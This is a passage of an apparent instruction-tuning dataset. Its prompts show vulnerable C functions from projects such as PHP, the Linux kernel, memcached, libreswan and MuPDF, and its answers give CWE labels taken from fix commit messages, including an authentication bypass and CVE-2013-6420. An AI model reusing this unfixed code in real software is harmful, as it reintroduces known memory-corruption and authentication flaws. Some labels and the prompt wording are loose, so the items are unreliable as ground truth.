*YYCURSOR);\n\t++YYCURSOR;\n\tYYDEBUG(58, *YYCURSOR);\n#line 393 \"ext/date/lib/parse_iso_intervals.re\"\n\t{\n\t\tDEBUG_OUTPUT(\"combinedrep\");\n\t\tTIMELIB_INIT;\n\t\ts->period->y = timelib_get_unsigned_nr((char **) &ptr, 4);\n\t\tptr++;\n\t\ts->period->m = timelib_get_unsigned_nr((char **) &ptr, 2);\n\t\tptr++;\n\t\ts->period->d = timelib_get_unsigned_nr((char **) &ptr, 2);\n\t\tptr++;\n\t\ts->period->h = timelib_get_unsigned_nr((char **) &ptr, 2);\n\t\tptr++;\n\t\ts->period->i = timelib_get_unsigned_nr((char **) &ptr, 2);\n\t\tptr++;\n\t\ts->period->s = timelib_get_unsigned_nr((char **) &ptr, 2);\n\t\ts->have_period = 1;\n\t\tTIMELIB_DEINIT;\n\t\treturn TIMELIB_PERIOD;\n\t}\n#line 792 \"ext/date/lib/parse_iso_intervals.c\"\nyy59:\n\tYYDEBUG(59, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych <= '/') goto yy13;\n\tif (yych >= ':') goto yy13;\n\tYYDEBUG(60, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych <= '/') goto yy13;\n\tif (yych >= ':') goto yy13;\n\tYYDEBUG(61, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych <= '/') {\n\t\tif (yych == '-') goto yy64;\n\t\tgoto yy13;\n\t} else {\n\t\tif (yych <= '0') goto yy62;\n\t\tif (yych <= '1') goto yy63;\n\t\tgoto yy13;\n\t}\nyy62:\n\tYYDEBUG(62, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych <= '0') goto yy13;\n\tif (yych <= '9') goto yy85;\n\tgoto yy13;\nyy63:\n\tYYDEBUG(63, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych <= '/') goto yy13;\n\tif (yych <= '2') goto yy85;\n\tgoto yy13;\nyy64:\n\tYYDEBUG(64, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych <= '/') goto yy13;\n\tif (yych <= '0') goto yy65;\n\tif (yych <= '1') goto yy66;\n\tgoto yy13;\nyy65:\n\tYYDEBUG(65, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych <= '0') goto yy13;\n\tif (yych <= '9') goto yy67;\n\tgoto yy13;\nyy66:\n\tYYDEBUG(66, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych <= '/') goto yy13;\n\tif (yych >= '3') goto yy13;\nyy67:\n\tYYDEBUG(67, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych != '-') goto yy13;\n\tYYDEBUG(68, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych <= '/') goto yy13;\n\tif (yych <= '0') goto yy69;\n\tif (yych <= '2') goto yy70;\n\tif (yych <= '3') goto yy71;\n\tgoto yy13;\nyy69:\n\tYYDEBUG(69, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych <= '0') goto yy13;\n\tif (yych <= '9') goto yy72;\n\tgoto yy13;\nyy70:\n\tYYDEBUG(70, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych <= '/') goto yy13;\n\tif (yych <= '9') goto yy72;\n\tgoto yy13;\nyy71:\n\tYYDEBUG(71, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych <= '/') goto yy13;\n\tif (yych >= '2') goto yy13;\nyy72:\n\tYYDEBUG(72, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych != 'T') goto yy13;\n\tYYDEBUG(73, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych <= '/') goto yy13;\n\tif (yych <= '1') goto yy74;\n\tif (yych <= '2') goto yy75;\n\tgoto yy13;\nyy74:\n\tYYDEBUG(74, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych <= '/') goto yy13;\n\tif (yych <= '9') goto yy76;\n\tgoto yy13;\nyy75:\n\tYYDEBUG(75, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych <= '/') goto yy13;\n\tif (yych >= '5') goto yy13;\nyy76:\n\tYYDEBUG(76, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych != ':') goto yy13;\n\tYYDEBUG(77, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych <= '/') goto yy13;\n\tif (yych >= '6') goto yy13;\n\tYYDEBUG(78, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych <= '/') goto yy13;\n\tif (yych >= ':') goto yy13;\n\tYYDEBUG(79, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych != ':') goto yy13;\n\tYYDEBUG(80, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych <= '/') goto yy13;\n\tif (yych >= '6') goto yy13;\n\tYYDEBUG(81, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych <= '/') goto yy13;\n\tif (yych >= ':') goto yy13;\n\tYYDEBUG(82, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych != 'Z') goto yy13;\nyy83:\n\tYYDEBUG(83, *YYCURSOR);\n\t++YYCURSOR;\n\tYYDEBUG(84, *YYCURSOR);\n#line 327 \"ext/date/lib/parse_iso_intervals.re\"\n\t{\n\t\ttimelib_time *current;\n\n\t\tif (s->have_date || s->have_period) {\n\t\t\tcurrent = s->end;\n\t\t\ts->have_end_date = 1;\n\t\t} else {\n\t\t\tcurrent = s->begin;\n\t\t\ts->have_begin_date = 1;\n\t\t}\n\t\tDEBUG_OUTPUT(\"datetimebasic | datetimeextended\");\n\t\tTIMELIB_INIT;\n\t\tcurrent->y = timelib_get_nr((char **) &ptr, 4);\n\t\tcurrent->m = timelib_get_nr((char **) &ptr, 2);\n\t\tcurrent->d = timelib_get_nr((char **) &ptr, 2);\n\t\tcurrent->h = timelib_get_nr((char **) &ptr, 2);\n\t\tcurrent->i = timelib_get_nr((char **) &ptr, 2);\n\t\tcurrent->s = timelib_get_nr((char **) &ptr, 2);\n\t\ts->have_date = 1;\n\t\tTIMELIB_DEINIT;\n\t\treturn TIMELIB_ISO_DATE;\n\t}\n#line 944 \"ext/date/lib/parse_iso_intervals.c\"\nyy85:\n\tYYDEBUG(85, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych <= '/') goto yy13;\n\tif (yych <= '0') goto yy86;\n\tif (yych <= '2') goto yy87;\n\tif (yych <= '3') goto yy88;\n\tgoto yy13;\nyy86:\n\tYYDEBUG(86, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych <= '0') goto yy13;\n\tif (yych <= '9') goto yy89;\n\tgoto yy13;\nyy87:\n\tYYDEBUG(87, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych <= '/') goto yy13;\n\tif (yych <= '9') goto yy89;\n\tgoto yy13;\nyy88:\n\tYYDEBUG(88, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych <= '/') goto yy13;\n\tif (yych >= '2') goto yy13;\nyy89:\n\tYYDEBUG(89, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych != 'T') goto yy13;\n\tYYDEBUG(90, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych <= '/') goto yy13;\n\tif (yych <= '1') goto yy91;\n\tif (yych <= '2') goto yy92;\n\tgoto yy13;\nyy91:\n\tYYDEBUG(91, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych <= '/') goto yy13;\n\tif (yych <= '9') goto yy93;\n\tgoto yy13;\nyy92:\n\tYYDEBUG(92, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych <= '/') goto yy13;\n\tif (yych >= '5') goto yy13;\nyy93:\n\tYYDEBUG(93, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych <= '/') goto yy13;\n\tif (yych >= '6') goto yy13;\n\tYYDEBUG(94, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych <= '/') goto yy13;\n\tif (yych >= ':') goto yy13;\n\tYYDEBUG(95, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych <= '/') goto yy13;\n\tif (yych >= '6') goto yy13;\n\tYYDEBUG(96, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych <= '/') goto yy13;\n\tif (yych >= ':') goto yy13;\n\tYYDEBUG(97, *YYCURSOR);\n\tyych = *++YYCURSOR;\n\tif (yych == 'Z') goto yy83;\n\tgoto yy13;\nyy98:\n\tYYDEBUG(98, *YYCURSOR);\n\t++YYCURSOR;\n\tif (YYLIMIT <= YYCURSOR) YYFILL(1);\n\tyych = *YYCURSOR;\n\tYYDEBUG(99, *YYCURSOR);\n\tif (yych <= '/') goto yy100;\n\tif (yych <= '9') goto yy98;\nyy100:\n\tYYDEBUG(100, *YYCURSOR);\n#line 316 \"ext/date/lib/parse_iso_intervals.re\"\n\t{\n\t\tDEBUG_OUTPUT(\"recurrences\");\n\t\tTIMELIB_INIT;\n\t\tptr++;\n\t\ts->recurrences = timelib_get_unsigned_nr((char **) &ptr, 9);\n\t\tTIMELIB_DEINIT;\n\t\ts->have_recurrences = 1;\n\t\treturn TIMELIB_PERIOD;\n\t}\n#line 1032 \"ext/date/lib/parse_iso_intervals.c\"\n}\n#line 428 \"ext/date/lib/parse_iso_intervals.re\"\n\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'Fixed bug #66060 (Heap buffer over-read in DateInterval)'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int udpv6_recvmsg(struct kiocb *iocb, struct sock *sk,\n\t\t struct msghdr *msg, size_t len,\n\t\t int noblock, int flags, int *addr_len)\n{\n\tstruct ipv6_pinfo *np = inet6_sk(sk);\n\tstruct inet_sock *inet = inet_sk(sk);\n\tstruct sk_buff *skb;\n\tunsigned int ulen, copied;\n\tint peeked, off = 0;\n\tint err;\n\tint is_udplite = IS_UDPLITE(sk);\n\tint is_udp4;\n\tbool slow;\n\n\tif (flags & MSG_ERRQUEUE)\n\t\treturn ipv6_recv_error(sk, msg, len);\n\n\tif (np->rxpmtu && np->rxopt.bits.rxpmtu)\n\t\treturn ipv6_recv_rxpmtu(sk, msg, len);\n\ntry_again:\n\tskb = __skb_recv_datagram(sk, flags | (noblock ? MSG_DONTWAIT : 0),\n\t\t\t\t &peeked, &off, &err);\n\tif (!skb)\n\t\tgoto out;\n\n\tulen = skb->len - sizeof(struct udphdr);\n\tcopied = len;\n\tif (copied > ulen)\n\t\tcopied = ulen;\n\telse if (copied < ulen)\n\t\tmsg->msg_flags |= MSG_TRUNC;\n\n\tis_udp4 = (skb->protocol == htons(ETH_P_IP));\n\n\t/*\n\t * If checksum is needed at all, try to do it while copying the\n\t * data. If the data is truncated, or if we only want a partial\n\t * coverage checksum (UDP-Lite), do it before the copy.\n\t */\n\n\tif (copied < ulen || UDP_SKB_CB(skb)->partial_cov) {\n\t\tif (udp_lib_checksum_complete(skb))\n\t\t\tgoto csum_copy_err;\n\t}\n\n\tif (skb_csum_unnecessary(skb))\n\t\terr = skb_copy_datagram_iovec(skb, sizeof(struct udphdr),\n\t\t\t\t\t msg->msg_iov, copied);\n\telse {\n\t\terr = skb_copy_and_csum_datagram_iovec(skb, sizeof(struct udphdr), msg->msg_iov);\n\t\tif (err == -EINVAL)\n\t\t\tgoto csum_copy_err;\n\t}\n\tif (unlikely(err)) {\n\t\ttrace_kfree_skb(skb, udpv6_recvmsg);\n\t\tif (!peeked) {\n\t\t\tatomic_inc(&sk->sk_drops);\n\t\t\tif (is_udp4)\n\t\t\t\tUDP_INC_STATS_USER(sock_net(sk),\n\t\t\t\t\t\t UDP_MIB_INERRORS,\n\t\t\t\t\t\t is_udplite);\n\t\t\telse\n\t\t\t\tUDP6_INC_STATS_USER(sock_net(sk),\n\t\t\t\t\t\t UDP_MIB_INERRORS,\n\t\t\t\t\t\t is_udplite);\n\t\t}\n\t\tgoto out_free;\n\t}\n\tif (!peeked) {\n\t\tif (is_udp4)\n\t\t\tUDP_INC_STATS_USER(sock_net(sk),\n\t\t\t\t\tUDP_MIB_INDATAGRAMS, is_udplite);\n\t\telse\n\t\t\tUDP6_INC_STATS_USER(sock_net(sk),\n\t\t\t\t\tUDP_MIB_INDATAGRAMS, is_udplite);\n\t}\n\n\tsock_recv_ts_and_drops(msg, sk, skb);\n\n\t/* Copy the address. */\n\tif (msg->msg_name) {\n\t\tstruct sockaddr_in6 *sin6;\n\n\t\tsin6 = (struct sockaddr_in6 *) msg->msg_name;\n\t\tsin6->sin6_family = AF_INET6;\n\t\tsin6->sin6_port = udp_hdr(skb)->source;\n\t\tsin6->sin6_flowinfo = 0;\n\n\t\tif (is_udp4) {\n\t\t\tipv6_addr_set_v4mapped(ip_hdr(skb)->saddr,\n\t\t\t\t\t &sin6->sin6_addr);\n\t\t\tsin6->sin6_scope_id = 0;\n\t\t} else {\n\t\t\tsin6->sin6_addr = ipv6_hdr(skb)->saddr;\n\t\t\tsin6->sin6_scope_id =\n\t\t\t\tipv6_iface_scope_id(&sin6->sin6_addr,\n\t\t\t\t\t\t IP6CB(skb)->iif);\n\t\t}\n\t\t*addr_len = sizeof(*sin6);\n\t}\n\tif (is_udp4) {\n\t\tif (inet->cmsg_flags)\n\t\t\tip_cmsg_recv(msg, skb);\n\t} else {\n\t\tif (np->rxopt.all)\n\t\t\tip6_datagram_recv_ctl(sk, msg, skb);\n\t}\n\n\terr = copied;\n\tif (flags & MSG_TRUNC)\n\t\terr = ulen;\n\nout_free:\n\tskb_free_datagram_locked(sk, skb);\nout:\n\treturn err;\n\ncsum_copy_err:\n\tslow = lock_sock_fast(sk);\n\tif (!skb_kill_datagram(sk, skb, flags)) {\n\t\tif (is_udp4) {\n\t\t\tUDP_INC_STATS_USER(sock_net(sk),\n\t\t\t\t\tUDP_MIB_CSUMERRORS, is_udplite);\n\t\t\tUDP_INC_STATS_USER(sock_net(sk),\n\t\t\t\t\tUDP_MIB_INERRORS, is_udplite);\n\t\t} else {\n\t\t\tUDP6_INC_STATS_USER(sock_net(sk),\n\t\t\t\t\tUDP_MIB_CSUMERRORS, is_udplite);\n\t\t\tUDP6_INC_STATS_USER(sock_net(sk),\n\t\t\t\t\tUDP_MIB_INERRORS, is_udplite);\n\t\t}\n\t}\n\tunlock_sock_fast(sk, slow);\n\n\tif (noblock)\n\t\treturn -EAGAIN;\n\n\t/* starting over for a new packet */\n\tmsg->msg_flags &= ~MSG_TRUNC;\n\tgoto try_again;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'inet: fix addr_len/msg->msg_namelen assignment in recv_error and rxpmtu functions\n\nCommit bceaa90240b6019ed73b49965eac7d167610be69 (\"inet: prevent leakage\nof uninitialized memory to user in recv syscalls\") conditionally updated\naddr_len if the msg_name is written to. The recv_error and rxpmtu\nfunctions relied on the recvmsg functions to set up addr_len before.\n\nAs this does not happen any more we have to pass addr_len to those\nfunctions as well and set it to the size of the corresponding sockaddr\nlength.\n\nThis broke traceroute and such.\n\nFixes: bceaa90240b6 (\"inet: prevent leakage of uninitialized memory to user in recv syscalls\")\nReported-by: Brad Spengler \nReported-by: Tom Labanowski\nCc: mpb \nCc: David S. Miller \nCc: Eric Dumazet \nSigned-off-by: Hannes Frederic Sowa \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static time_t asn1_time_to_time_t(ASN1_UTCTIME * timestr TSRMLS_DC) /* {{{ */\n{\n/*\n\tThis is how the time string is formatted:\n\n snprintf(p, sizeof(p), \"%02d%02d%02d%02d%02d%02dZ\",ts->tm_year%100,\n ts->tm_mon+1,ts->tm_mday,ts->tm_hour,ts->tm_min,ts->tm_sec);\n*/\n\n\ttime_t ret;\n\tstruct tm thetime;\n\tchar * strbuf;\n\tchar * thestr;\n\tlong gmadjust = 0;\n\n\tif (timestr->length < 13) {\n\t\tphp_error_docref(NULL TSRMLS_CC, E_WARNING, \"extension author too lazy to parse %s correctly\", timestr->data);\n\t\treturn (time_t)-1;\n\t}\n\n\tstrbuf = estrdup((char *)timestr->data);\n\n\tmemset(&thetime, 0, sizeof(thetime));\n\n\t/* we work backwards so that we can use atoi more easily */\n\n\tthestr = strbuf + timestr->length - 3;\n\n\tthetime.tm_sec = atoi(thestr);\n\t*thestr = '\\0';\n\tthestr -= 2;\n\tthetime.tm_min = atoi(thestr);\n\t*thestr = '\\0';\n\tthestr -= 2;\n\tthetime.tm_hour = atoi(thestr);\n\t*thestr = '\\0';\n\tthestr -= 2;\n\tthetime.tm_mday = atoi(thestr);\n\t*thestr = '\\0';\n\tthestr -= 2;\n\tthetime.tm_mon = atoi(thestr)-1;\n\t*thestr = '\\0';\n\tthestr -= 2;\n\tthetime.tm_year = atoi(thestr);\n\n\tif (thetime.tm_year < 68) {\n\t\tthetime.tm_year += 100;\n\t}\n\n\tthetime.tm_isdst = -1;\n\tret = mktime(&thetime);\n\n#if HAVE_TM_GMTOFF\n\tgmadjust = thetime.tm_gmtoff;\n#else\n\t/*\n\t** If correcting for daylight savings time, we set the adjustment to\n\t** the value of timezone - 3600 seconds. Otherwise, we need to overcorrect and\n\t** set the adjustment to the main timezone + 3600 seconds.\n\t*/\n\tgmadjust = -(thetime.tm_isdst ? (long)timezone - 3600 : (long)timezone + 3600);\n#endif\n\tret += gmadjust;\n\n\tefree(strbuf);\n\n\treturn ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'Fix CVE-2013-6420 - memory corruption in openssl_x509_parse'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static bool authenticated(conn *c) {\n assert(settings.sasl);\n bool rv = false;\n\n switch (c->cmd) {\n case PROTOCOL_BINARY_CMD_SASL_LIST_MECHS: /* FALLTHROUGH */\n case PROTOCOL_BINARY_CMD_SASL_AUTH: /* FALLTHROUGH */\n case PROTOCOL_BINARY_CMD_SASL_STEP: /* FALLTHROUGH */\n case PROTOCOL_BINARY_CMD_VERSION: /* FALLTHROUGH */\n rv = true;\n break;\n default:\n if (c->sasl_conn) {\n const void *uname = NULL;\n sasl_getprop(c->sasl_conn, SASL_USERNAME, &uname);\n rv = uname != NULL;\n }\n }\n\n if (settings.verbose > 1) {\n fprintf(stderr, \"authenticated() in cmd 0x%02x is %s\\n\",\n c->cmd, rv ? \"true\" : \"false\");\n }\n\n return rv;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-287'], 'message': 'explicitly record sasl auth states\n\nIt was previously possible to bypass authentication due to implicit\nstate management. Now we explicitly consider ourselves\nunauthenticated on any new connections and authentication attempts.\n\nbug316\n\nSigned-off-by: Dustin Sallings '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: BSONTool::BSONTool( const char * name, DBAccess access , bool objcheck )\n : Tool( name , access , \"\" , \"\" , false ) , _objcheck( objcheck ) {\n\n add_options()\n (\"objcheck\" , \"validate object before inserting\" )\n (\"filter\" , po::value() , \"filter to apply before inserting\" )\n ;\n } ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'SERVER-7769 - turn objcheck on by default and use new fast bson validate'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void ikev2_parent_outI1_continue(struct pluto_crypto_req_cont *pcrc,\n\t\t\t\t\tstruct pluto_crypto_req *r,\n\t\t\t\t\terr_t ugh)\n{\n\tstruct ke_continuation *ke = (struct ke_continuation *)pcrc;\n\tstruct msg_digest *md = ke->md;\n\tstruct state *const st = md->st;\n\tstf_status e;\n\n\tDBG(DBG_CONTROLMORE,\n\t DBG_log(\"ikev2 parent outI1: calculated ke+nonce, sending I1\"));\n\n\tif (st == NULL) {\n\t\tloglog(RC_LOG_SERIOUS,\n\t\t \"%s: Request was disconnected from state\",\n\t\t __FUNCTION__);\n\t\tif (ke->md)\n\t\t\trelease_md(ke->md);\n\t\treturn;\n\t}\n\n\t/* XXX should check out ugh */\n\tpassert(ugh == NULL);\n\tpassert(cur_state == NULL);\n\tpassert(st != NULL);\n\n\tpassert(st->st_suspended_md == ke->md);\n\tset_suspended(st, NULL); /* no longer connected or suspended */\n\n\tset_cur_state(st);\n\n\tst->st_calculating = FALSE;\n\n\te = ikev2_parent_outI1_tail(pcrc, r);\n\n\tif (ke->md != NULL) {\n\t\tcomplete_v2_state_transition(&ke->md, e);\n\t\tif (ke->md)\n\t\t\trelease_md(ke->md);\n\t}\n\treset_cur_state();\n\treset_globals();\n\n\tpassert(GLOBALS_ARE_RESET());\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'SECURITY: Properly handle IKEv2 I1 notification packet without KE payload'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: xps_parse_glyphs(xps_document *doc, const fz_matrix *ctm,\n\t\tchar *base_uri, xps_resource *dict, fz_xml *root)\n{\n\tfz_xml *node;\n\n\tchar *fill_uri;\n\tchar *opacity_mask_uri;\n\n\tchar *bidi_level_att;\n\tchar *fill_att;\n\tchar *font_size_att;\n\tchar *font_uri_att;\n\tchar *origin_x_att;\n\tchar *origin_y_att;\n\tchar *is_sideways_att;\n\tchar *indices_att;\n\tchar *unicode_att;\n\tchar *style_att;\n\tchar *transform_att;\n\tchar *clip_att;\n\tchar *opacity_att;\n\tchar *opacity_mask_att;\n\tchar *navigate_uri_att;\n\n\tfz_xml *transform_tag = NULL;\n\tfz_xml *clip_tag = NULL;\n\tfz_xml *fill_tag = NULL;\n\tfz_xml *opacity_mask_tag = NULL;\n\n\tchar *fill_opacity_att = NULL;\n\n\txps_part *part;\n\tfz_font *font;\n\n\tchar partname[1024];\n\tchar fakename[1024];\n\tchar *subfont;\n\n\tfloat font_size = 10;\n\tint subfontid = 0;\n\tint is_sideways = 0;\n\tint bidi_level = 0;\n\n\tfz_text *text;\n\tfz_rect area;\n\n\tfz_matrix local_ctm = *ctm;\n\n\t/*\n\t * Extract attributes and extended attributes.\n\t */\n\n\tbidi_level_att = fz_xml_att(root, \"BidiLevel\");\n\tfill_att = fz_xml_att(root, \"Fill\");\n\tfont_size_att = fz_xml_att(root, \"FontRenderingEmSize\");\n\tfont_uri_att = fz_xml_att(root, \"FontUri\");\n\torigin_x_att = fz_xml_att(root, \"OriginX\");\n\torigin_y_att = fz_xml_att(root, \"OriginY\");\n\tis_sideways_att = fz_xml_att(root, \"IsSideways\");\n\tindices_att = fz_xml_att(root, \"Indices\");\n\tunicode_att = fz_xml_att(root, \"UnicodeString\");\n\tstyle_att = fz_xml_att(root, \"StyleSimulations\");\n\ttransform_att = fz_xml_att(root, \"RenderTransform\");\n\tclip_att = fz_xml_att(root, \"Clip\");\n\topacity_att = fz_xml_att(root, \"Opacity\");\n\topacity_mask_att = fz_xml_att(root, \"OpacityMask\");\n\tnavigate_uri_att = fz_xml_att(root, \"FixedPage.NavigateUri\");\n\n\tfor (node = fz_xml_down(root); node; node = fz_xml_next(node))\n\t{\n\t\tif (!strcmp(fz_xml_tag(node), \"Glyphs.RenderTransform\"))\n\t\t\ttransform_tag = fz_xml_down(node);\n\t\tif (!strcmp(fz_xml_tag(node), \"Glyphs.OpacityMask\"))\n\t\t\topacity_mask_tag = fz_xml_down(node);\n\t\tif (!strcmp(fz_xml_tag(node), \"Glyphs.Clip\"))\n\t\t\tclip_tag = fz_xml_down(node);\n\t\tif (!strcmp(fz_xml_tag(node), \"Glyphs.Fill\"))\n\t\t\tfill_tag = fz_xml_down(node);\n\t}\n\n\tfill_uri = base_uri;\n\topacity_mask_uri = base_uri;\n\n\txps_resolve_resource_reference(doc, dict, &transform_att, &transform_tag, NULL);\n\txps_resolve_resource_reference(doc, dict, &clip_att, &clip_tag, NULL);\n\txps_resolve_resource_reference(doc, dict, &fill_att, &fill_tag, &fill_uri);\n\txps_resolve_resource_reference(doc, dict, &opacity_mask_att, &opacity_mask_tag, &opacity_mask_uri);\n\n\t/*\n\t * Check that we have all the necessary information.\n\t */\n\n\tif (!font_size_att || !font_uri_att || !origin_x_att || !origin_y_att) {\n\t\tfz_warn(doc->ctx, \"missing attributes in glyphs element\");\n\t\treturn;\n\t}\n\n\tif (!indices_att && !unicode_att)\n\t\treturn; /* nothing to draw */\n\n\tif (is_sideways_att)\n\t\tis_sideways = !strcmp(is_sideways_att, \"true\");\n\n\tif (bidi_level_att)\n\t\tbidi_level = atoi(bidi_level_att);\n\n\t/*\n\t * Find and load the font resource\n\t */\n\n\txps_resolve_url(partname, base_uri, font_uri_att, sizeof partname);\n\tsubfont = strrchr(partname, '#');\n\tif (subfont)\n\t{\n\t\tsubfontid = atoi(subfont + 1);\n\t\t*subfont = 0;\n\t}\n\n\t/* Make a new part name for font with style simulation applied */\n\tfz_strlcpy(fakename, partname, sizeof fakename);\n\tif (style_att)\n\t{\n\t\tif (!strcmp(style_att, \"BoldSimulation\"))\n\t\t\tfz_strlcat(fakename, \"#Bold\", sizeof fakename);\n\t\telse if (!strcmp(style_att, \"ItalicSimulation\"))\n\t\t\tfz_strlcat(fakename, \"#Italic\", sizeof fakename);\n\t\telse if (!strcmp(style_att, \"BoldItalicSimulation\"))\n\t\t\tfz_strlcat(fakename, \"#BoldItalic\", sizeof fakename);\n\t}\n\n\tfont = xps_lookup_font(doc, fakename);\n\tif (!font)\n\t{\n\t\tfz_try(doc->ctx)\n\t\t{\n\t\t\tpart = xps_read_part(doc, partname);\n\t\t}\n\t\tfz_catch(doc->ctx)\n\t\t{\n\t\t\tfz_rethrow_if(doc->ctx, FZ_ERROR_TRYLATER);\n\t\t\tfz_warn(doc->ctx, \"cannot find font resource part '%s'\", partname);\n\t\t\treturn;\n\t\t}\n\n\t\t/* deobfuscate if necessary */\n\t\tif (strstr(part->name, \".odttf\"))\n\t\t\txps_deobfuscate_font_resource(doc, part);\n\t\tif (strstr(part->name, \".ODTTF\"))\n\t\t\txps_deobfuscate_font_resource(doc, part);\n\n\t\tfz_try(doc->ctx)\n\t\t{\n\t\t\tfz_buffer *buf = fz_new_buffer_from_data(doc->ctx, part->data, part->size);\n\t\t\tfont = fz_new_font_from_buffer(doc->ctx, NULL, buf, subfontid, 1);\n\t\t\tfz_drop_buffer(doc->ctx, buf);\n\t\t}\n\t\tfz_catch(doc->ctx)\n\t\t{\n\t\t\tfz_rethrow_if(doc->ctx, FZ_ERROR_TRYLATER);\n\t\t\tfz_warn(doc->ctx, \"cannot load font resource '%s'\", partname);\n\t\t\txps_free_part(doc, part);\n\t\t\treturn;\n\t\t}\n\n\t\tif (style_att)\n\t\t{\n\t\t\tfont->ft_bold = !!strstr(style_att, \"Bold\");\n\t\t\tfont->ft_italic = !!strstr(style_att, \"Italic\");\n\t\t}\n\n\t\txps_select_best_font_encoding(doc, font);\n\n\t\txps_insert_font(doc, fakename, font);\n\n\t\t/* NOTE: we already saved part->data in the buffer in the font */\n\t\tfz_free(doc->ctx, part->name);\n\t\tfz_free(doc->ctx, part);\n\t}\n\n\t/*\n\t * Set up graphics state.\n\t */\n\n\tif (transform_att || transform_tag)\n\t{\n\t\tfz_matrix transform;\n\t\tif (transform_att)\n\t\t\txps_parse_render_transform(doc, transform_att, &transform);\n\t\tif (transform_tag)\n\t\t\txps_parse_matrix_transform(doc, transform_tag, &transform);\n\t\tfz_concat(&local_ctm, &transform, &local_ctm);\n\t}\n\n\tif (clip_att || clip_tag)\n\t\txps_clip(doc, &local_ctm, dict, clip_att, clip_tag);\n\n\tfont_size = fz_atof(font_size_att);\n\n\ttext = xps_parse_glyphs_imp(doc, &local_ctm, font, font_size,\n\t\t\tfz_atof(origin_x_att), fz_atof(origin_y_att),\n\t\t\tis_sideways, bidi_level, indices_att, unicode_att);\n\n\tfz_bound_text(doc->ctx, text, NULL, &local_ctm, &area);\n\n\tif (navigate_uri_att)\n\t\txps_add_link(doc, &area, base_uri, navigate_uri_att);\n\n\txps_begin_opacity(doc, &local_ctm, &area, opacity_mask_uri, dict, opacity_att, opacity_mask_tag);\n\n\t/* If it's a solid color brush fill/stroke do a simple fill */\n\n\tif (fill_tag && !strcmp(fz_xml_tag(fill_tag), \"SolidColorBrush\"))\n\t{\n\t\tfill_opacity_att = fz_xml_att(fill_tag, \"Opacity\");\n\t\tfill_att = fz_xml_att(fill_tag, \"Color\");\n\t\tfill_tag = NULL;\n\t}\n\n\tif (fill_att)\n\t{\n\t\tfloat samples[32];\n\t\tfz_colorspace *colorspace;\n\n\t\txps_parse_color(doc, base_uri, fill_att, &colorspace, samples);\n\t\tif (fill_opacity_att)\n\t\t\tsamples[0] *= 